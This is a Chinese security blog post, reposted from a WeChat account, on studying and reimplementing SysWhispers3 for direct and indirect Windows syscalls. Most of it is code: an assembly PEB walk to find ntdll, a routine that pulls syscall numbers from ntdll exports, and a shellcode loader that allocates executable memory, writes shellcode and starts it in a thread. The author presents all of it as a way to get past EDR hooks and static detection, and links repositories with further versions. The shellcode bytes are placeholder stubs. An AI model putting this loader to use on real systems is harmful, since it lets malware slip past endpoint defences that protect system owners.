syswhispers3学习

admin 2025年6月18日22:16:52评论0 views字数 10581阅读35分16秒阅读模式

学习目的:

为啥Syscall在对抗edr时非常好用,因为微软给各地杀软厂商注册了回调机制,而大部分厂商都是通过回调去Hook了R3到R0转化的nt函数,而R3api要走入R0需要ntdll的辅助,如图

syswhispers3学习

所以直接syscall可以直接避免掉Hook时被检测出恶意代码。

按网上文章的分析,syswhispers3是通过PEB获取NTDLL.dll的基地址,在找到NtCreateFile或ZwCreateFIle等函数的调用号。

前置知识:

我爱用的payload:

.codeGetNtdll_64 proc    mov rax, gs:[60h]        ; 获取 PEB(Process Environment Block)    mov rax, [rax+18h]       ; PEB -> Ldr(PEB_LDR_DATA 结构)    mov rax, [rax+30h]       ; Ldr->InMemoryOrderModuleList(LIST_ENTRY)    mov rax, [rax+10h]       ; 取 DllBase(在 LDR_DATA_TABLE_ENTRY 的偏移 +0x10    retGetNtdll_64 endpend

通过https://www.vergiliusproject.com/去分析windows内核的结构:

首先是入口PEB为啥要+0x60这个问题,当前线程的 TEB(Thread Environment Block) 指针,通过观察TEB的结构

syswhispers3学习

可以发现指针+0x60就是ProcessEnvironmentBlock PEB结构。然后在去分析PEB结构的内容,如图

syswhispers3学习

我们的目标是指向PEB -> Ldr(PEB_LDR_DATA 结构) 所以如图:

syswhispers3学习

拿到Ldr之后就去观察Ldr下的结构体形式,如图:

syswhispers3学习

而这个结构体非常有意思,他是一个双链表结构,是三张结构表的连接说明:

struct _LIST_ENTRY InLoadOrderModuleList;                               //0x10struct _LIST_ENTRY InMemoryOrderModuleList;                             //0x20struct _LIST_ENTRY InInitializationOrderModuleList;                     //0x30

且三个字段的类型都是一致

syswhispers3学习

第一个成员 Flink 指向下一个节点,Blink 指向上一个节点,所以这是一个双向链表,当我们从_PEB_LDR_DATA 结构中取到 InInitializationOrderModuleList 结构时,这个结构中的 Flink 指向真正的模块链表,这个真正的链表的每个成员都是一个 LDR_DATA_TABLE_ENTRY 结构。之前的 _PEB_LDR_DATA 只是一个入口,这个结构只有一个,它不是链表节点,真正的链表节点结构如下图:

syswhispers3学习

他们之间的对应关系可以由下图来表示,如果学习过链表的概念还是挺好理解的(图片来自https://bbs.kanxue.com/thread-266678.htm

syswhispers3学习

聪明的你已经发现了

VOID* DllBase;                                                          //0x30VOID* EntryPoint;                                                       //0x38

最后的话给出总结:

下面是三个双向链表加载 dll 的顺序:

InLoadOrderModuleList 模块加载顺序notepad.exe ntdll.dll kernel32.dll kernelbase.dllInMemoryOrderModuleList 模块在内存加载顺序notepad.exe ntdll.dll kernel32.dll kernelbase.dllInInitializationOrderLinks 模块初始化装载顺序ntdll.dll kernelbase.dll kernel32.dll

从Ntdll中获取调用号

示例代码(如图):

h:

#pragma once#include <Windows.h>#include <stdio.h>extern "C" PVOID64 GetNtdll_64();

asm:

.codeGetNtdll_64 proc    mov rax, gs:[60h]        ; 获取 PEB(Process Environment Block)    mov rax, [rax+18h]       ; PEB -> Ldr(PEB_LDR_DATA 结构)    mov rax, [rax+30h]       ; Ldr->InMemoryOrderModuleList(LIST_ENTRY)    mov rax, [rax+10h]       ; 取 DllBase(在 LDR_DATA_TABLE_ENTRY 的偏移 +0x10    retGetNtdll_64 endpend

C:

#include "header.h"// 读取 syscall ID(从函数中 mov eax, syscall_number)DWORD GetSyscallIdFromNtdll(HMODULE ntdllBaseconst char* funcName) {    BYTE* base = (BYTE*)ntdllBase;    IMAGE_DOS_HEADER* dos = (IMAGE_DOS_HEADER*)base;    IMAGE_NT_HEADERS* nt = (IMAGE_NT_HEADERS*)(base + dos->e_lfanew);    IMAGE_EXPORT_DIRECTORY* exportDir = (IMAGE_EXPORT_DIRECTORY*)        (base + nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);    DWORD* nameRvas = (DWORD*)(base + exportDir->AddressOfNames);    WORD* ordinals = (WORD*)(base + exportDir->AddressOfNameOrdinals);    DWORD* functions = (DWORD*)(base + exportDir->AddressOfFunctions);    for (DWORD i = 0; i < exportDir->NumberOfNames; i++) {        const char* name = (const char*)(base + nameRvas[i]);        if (_stricmp(name, funcName) == 0) {            DWORD funcRva = functions[ordinals[i]];            BYTE* funcAddr = base + funcRva;            // 搜索 mov eax, xx 指令(B8 xx xx xx xx)            for (int j = 0; j < 20; j++) {                if (funcAddr[j] == 0xB8) {                    DWORD syscallId = *(DWORD*)&funcAddr[j + 1];                    return syscallId;                }            }        }    }    return -1;}int main() {    HMODULE ntdll = (HMODULE)GetNtdll_64();    HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll");    if (!ntdll) {        printf("[-] Failed to locate ntdll.dlln");        return 1;    }    if (hNtdll == NULL) {        printf("获取 ntdll.dll 失败,错误码:%lun"GetLastError());        return 1;    }    DWORD syscallId = GetSyscallIdFromNtdll(ntdll, "NtReadVirtualMemory");    if (syscallId != -1) {        printf("[+] Syscall ID for NtReadVirtualMemory: 0x%Xn", syscallId);    }    else {        printf("[-] Failed to extract syscall IDn");    }    return 0;}
syswhispers3学习

syswhispers3小还原:

特性 SysWhispers2 SysWhispers3
是否硬编码 syscall 否(运行时提取)
是否需要导入表
调用方式 伪装导入 + 调用 纯动态解析 + 汇编直接调用
免杀能力 中等 强(绕过签名、行为分析更难)

1.

运行时动态去获取服务号(通过匹配mov eax, xx 拿)

2.

无导入表(PEB模块直接获取Baseaddress)

剩下就是Syscall+Ntdll无导入表的结合:

Syscall项目可以看我的Github:https://github.com/trymonoly/syscall_lab,简单的合并一下

核心代码:

int main() {    PVOID allocBuffer = NULL;    SIZE_T buffSize = 0x1000;    HMODULE ntdll = (HMODULE)GetNtdll_64();    if (!ntdll) {        printf("[-] Failed to locate ntdll.dlln");        return 1;    }    DWORD syscallId = GetSyscallIdFromNtdll(ntdll, "NtReadVirtualMemory");    if (syscallId != -1) {        printf("[+] Syscall ID for NtReadVirtualMemory: 0x%Xn", syscallId);    }    else {        printf("[-] Failed to extract syscall IDn");    }    // 初始化 NtAllocateVirtualMemory    direct_syscall.NtAllocateVirtualMemory.sysAddress = (UINT_PTR)GetProcAddress(ntdll, "NtAllocateVirtualMemory");    direct_syscall.NtAllocateVirtualMemory.wNtFunctionSSN = GetSyscallIdFromNtdll(ntdll, "NtAllocateVirtualMemory");    // 初始化 NtWriteVirtualMemory    direct_syscall.NtWriteVirtualMemory.sysAddress = (UINT_PTR)GetProcAddress(ntdll, "NtWriteVirtualMemory");    direct_syscall.NtWriteVirtualMemory.wNtFunctionSSN = GetSyscallIdFromNtdll(ntdll, "NtWriteVirtualMemory");    // 初始化 NtCreateThreadEx    direct_syscall.NtCreateThreadEx.sysAddress = (UINT_PTR)GetProcAddress(ntdll, "NtCreateThreadEx");    direct_syscall.NtCreateThreadEx.wNtFunctionSSN = GetSyscallIdFromNtdll(ntdll, "NtCreateThreadEx");    // 初始化 NtWaitForSingleObject    direct_syscall.NtWaitForSingleObject.sysAddress = (UINT_PTR)GetProcAddress(ntdll, "NtWaitForSingleObject");    direct_syscall.NtWaitForSingleObject.wNtFunctionSSN = GetSyscallIdFromNtdll(ntdll, "NtWaitForSingleObject");    NtAllocateVirtualMemory((HANDLE)-1, (PVOID*)&allocBuffer, (ULONG_PTR)0&buffSize, (ULONG)(MEM_COMMIT | MEM_RESERVE), PAGE_EXECUTE_READWRITE);    unsigned char shellcode[] = "xfcx48x83xe4";    ULONG bytesWritten;    NtWriteVirtualMemory(GetCurrentProcess(), allocBuffer, shellcode, sizeof(shellcode), &bytesWritten);    HANDLE hThread;    NtCreateThreadEx(&hThread, GENERIC_EXECUTE, NULLGetCurrentProcess(), (LPTHREAD_START_ROUTINE)allocBuffer, NULLFALSE000NULL);    NtWaitForSingleObject(hThread, FALSENULL);    return 0;}

看一下生成的exe的效果:

syswhispers3学习

导入表中是没有Ntdll的导入。

但是syswhispers3比较强势的点是他对汇编的混淆:

正常的syscall:

mov r10, rcx                                   mov eax, DWORD PTR direct_syscall+0jmp QWORD PTR [direct_syscall+8]  

而syswhispers3对syscall的混淆:

Sw3NtWriteVirtualMemory PROCmov [rsp +8], rcx          ; Save registers.mov [rsp+16], rdxmov [rsp+24], r8mov [rsp+32], r9sub rsp, 28hmov ecx, 01796131Bh        ; Load function hash into ECX.call SW3_GetSyscallNumber              ; Resolve function hash into syscall number.add rsp, 28hmov rcx, [rsp+8]                      ; Restore registers.mov rdx, [rsp+16]mov r8, [rsp+24]mov r9, [rsp+32]mov r10, rcxsyscall                    ; Invoke system call.retSw3NtWriteVirtualMemory ENDP

动态计算了SSN的值。

我们需要去复现这个功能在汇编中:

然而syswhispers3是通过在Syscall的时候提前去调用了SW3_GetSyscallNumber   去解码hash

call SW3_GetSyscallNumber      

我只需要将原本的SSN改为Hash在传递给Syscall时提前去Hash解码就可以完成动态SSN的加载。

EXTERN_C DWORD SW3_GetSyscallNumber(DWORD FunctionHash){    // Ensure SW3_SyscallList is populated.    if (!SW3_PopulateSyscallList()) return -1;    for (DWORD i = 0; i < SW3_SyscallList.Count; i++)    {        if (FunctionHash == SW3_SyscallList.Entries[i].Hash)        {            return i;        }    }    return -1;}

而关键点就是初始化时SW3_PopulateSyscallList()会去创建一个序列去存储Hash对应的SSN。

核心代码:

#include "header.h"/**/// 全局变量,供汇编和其他文件访问__declspec(dllexport) FuncationName direct_syscall = { 0 };// 读取 syscall ID(从函数中 mov eax, syscall_number)DWORD GetSyscallIdFromNtdll(HMODULE ntdllBaseconst char* funcName) {    BYTE* base = (BYTE*)ntdllBase;    IMAGE_DOS_HEADER* dos = (IMAGE_DOS_HEADER*)base;    IMAGE_NT_HEADERS* nt = (IMAGE_NT_HEADERS*)(base + dos->e_lfanew);    IMAGE_EXPORT_DIRECTORY* exportDir = (IMAGE_EXPORT_DIRECTORY*)        (base + nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);    DWORD* nameRvas = (DWORD*)(base + exportDir->AddressOfNames);    WORD* ordinals = (WORD*)(base + exportDir->AddressOfNameOrdinals);    DWORD* functions = (DWORD*)(base + exportDir->AddressOfFunctions);    for (DWORD i = 0; i < exportDir->NumberOfNames; i++) {        const char* name = (const char*)(base + nameRvas[i]);        if (_stricmp(name, funcName) == 0) {            DWORD funcRva = functions[ordinals[i]];            BYTE* funcAddr = base + funcRva;            // 搜索 mov eax, xx 指令(B8 xx xx xx xx)            for (int j = 0; j < 20; j++) {                if (funcAddr[j] == 0xB8) {                    DWORD syscallId = *(DWORD*)&funcAddr[j + 1];                    return syscallId;                }            }        }    }    return -1;}FuncationSSNList funcationSSNList = { 0 };// 初始化SSN表void PopulateSyscallList() {    HMODULE ntdll = (HMODULE)GetNtdll_64();    funcationSSNList.NtAllocateVirtualMemory.wNtFunctionSSN = GetSyscallIdFromNtdll(ntdll, "NtAllocateVirtualMemory");    funcationSSNList.NtWriteVirtualMemory.wNtFunctionSSN = GetSyscallIdFromNtdll(ntdll, "NtWriteVirtualMemory");    funcationSSNList.NtCreateThreadEx.wNtFunctionSSN = GetSyscallIdFromNtdll(ntdll, "NtCreateThreadEx");    funcationSSNList.NtWaitForSingleObject.wNtFunctionSSN = GetSyscallIdFromNtdll(ntdll, "NtWaitForSingleObject");}// 定义列表去匹配SSNEXTERN_C DWORD GetSyscallNumber(DWORD FunctionHash){    if (FunctionHash == 11111)        return funcationSSNList.NtAllocateVirtualMemory.wNtFunctionSSN;    if (FunctionHash == 22222)        return funcationSSNList.NtWriteVirtualMemory.wNtFunctionSSN;    if (FunctionHash == 33333)        return funcationSSNList.NtCreateThreadEx.wNtFunctionSSN;    if (FunctionHash == 44444)        return funcationSSNList.NtWaitForSingleObject.wNtFunctionSSN;    return -1;}int main() {    PVOID allocBuffer = NULL;    SIZE_T buffSize = 0x1000;    HMODULE ntdll = (HMODULE)GetNtdll_64();    PopulateSyscallList();    if (!ntdll) {        printf("[-] Failed to locate ntdll.dlln");        return 1;    }    // 初始化 NtAllocateVirtualMemory    direct_syscall.NtAllocateVirtualMemory.sysAddress = (UINT_PTR)GetProcAddress(ntdll, "NtAllocateVirtualMemory");    // 初始化 NtWriteVirtualMemory    direct_syscall.NtWriteVirtualMemory.sysAddress = (UINT_PTR)GetProcAddress(ntdll, "NtWriteVirtualMemory");    // 初始化 NtCreateThreadEx    direct_syscall.NtCreateThreadEx.sysAddress = (UINT_PTR)GetProcAddress(ntdll, "NtCreateThreadEx");    // 初始化 NtWaitForSingleObject    direct_syscall.NtWaitForSingleObject.sysAddress = (UINT_PTR)GetProcAddress(ntdll, "NtWaitForSingleObject");    NtAllocateVirtualMemory((HANDLE)-1, (PVOID*)&allocBuffer, (ULONG_PTR)0&buffSize, (ULONG)(MEM_COMMIT | MEM_RESERVE), PAGE_EXECUTE_READWRITE);    unsigned char shellcode[] = "xfcx48x8xe";    ULONG bytesWritten;    NtWriteVirtualMemory(GetCurrentProcess(), allocBuffer, shellcode, sizeof(shellcode), &bytesWritten);    HANDLE hThread;    NtCreateThreadEx(&hThread, GENERIC_EXECUTE, NULLGetCurrentProcess(), (LPTHREAD_START_ROUTINE)allocBuffer, NULLFALSE000NULL);    NtWaitForSingleObject(hThread, FALSENULL);    return 0;}

syswhispers3使用的是直接syscall,在执行sub区看很容易发现问题,我将直接syscall改为了间接syscall代码。

完整代码放在在github:

https://github.com/trymonoly/syswhispers3_Indirect

总结:

syswhispers3通过在运行动态去替换SSN达到静态绕过效果,在通过PEB去抹除导入表的一些细节让静态效果更加完美。且对Syscall固定的格式进行打破,不再是默认的三行代码。

对于我写的代码,我自己评判很一般,执行的方式也非常朴实,没有隐藏掉Kerner32的导入,也没有隐藏字符串,也没加入一些混淆和反沙箱和虚拟机。(师傅骂轻点)

个人的学习过程,有理解错误的地方,望各位师傅理解。

原文始发于微信公众号(T3Ysec):syswhispers3学习

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年6月18日22:16:52
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   syswhispers3学习http://cn-sec.com/archives/4178433.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息